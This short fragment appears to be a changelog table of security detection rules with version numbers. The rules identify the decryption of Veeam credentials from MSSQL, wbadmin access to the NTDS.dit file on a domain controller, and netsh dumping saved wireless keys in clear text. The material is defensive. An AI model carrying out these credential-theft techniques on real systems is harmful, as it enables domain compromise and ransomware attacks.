+ +|<> | Identifies commands that can access and decrypt Veeam credentials stored in MSSQL databases. Attackers can use Veeam Credentials to target backups as part of destructive operations such as Ransomware attacks. | update | 209 + +|<> | Identifies the execution of wbadmin to access the NTDS.dit file in a domain controller. Attackers with privileges from groups like Backup Operators can abuse the utility to perform credential access and compromise the domain. | update | 208 + +|<> | Identifies attempts to dump Wireless saved access keys in clear text using the Windows built-in utility Netsh. | update | 216 + +|<